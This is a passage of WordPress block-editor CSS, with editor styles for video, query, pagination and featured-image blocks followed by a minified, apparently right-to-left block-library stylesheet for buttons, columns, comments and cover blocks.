.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}

.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}

.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}

.wp-block-video.wp-block-video.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{
  transition:none;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.editor-video-poster-control .components-base-control__label{
  display:block;
}
.editor-video-poster-control .components-button{
  margin-right:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-left:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  padding:0;
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{
  padding:12px;
}

.editor-styles-wrapper ul.wp-block-post-template{
  list-style:none;
  margin-left:0;
  padding-left:0;
}

.block-library-query-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-query__create-new-link{
  padding:0 16px 16px 52px;
}

.block-library-query__pattern-selection-content .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr 1fr;
  grid-gap:8px;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  max-height:250px;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:2px;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.block-library-query-toolspanel__filters .components-form-token-field__help{
  margin-bottom:0;
}
.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){
  margin-bottom:24px;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.wp-block-query__enhanced-pagination-notice{
  margin:0;
}

.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-query-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin:.5em .5em .5em 0;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  cursor:default;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}

.wp-block-post-content.wp-block-post-content{
  -webkit-user-select:none;
          user-select:none;
}
.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}
:root .editor-styles-wrapper .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .editor-styles-wrapper .has-very-light-gray-color{
  color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-color{
  color:#313131;
}
:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .editor-styles-wrapper .has-purple-crush-gradient-background{
  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{
  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .editor-styles-wrapper .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .editor-styles-wrapper .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .editor-styles-wrapper .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .editor-styles-wrapper .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

:where(.editor-styles-wrapper){
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}

:where(.editor-styles-wrapper) .has-regular-font-size{
  font-size:16px;
}

:where(.editor-styles-wrapper) .has-larger-font-size{
  font-size:42px;
}

:where(.editor-styles-wrapper) .has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

:where(.editor-styles-wrapper) .has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}
:where(.editor-styles-wrapper) iframe:not([frameborder]){
  border:0;
}:where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){background-color:initial;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter,.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:left}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image 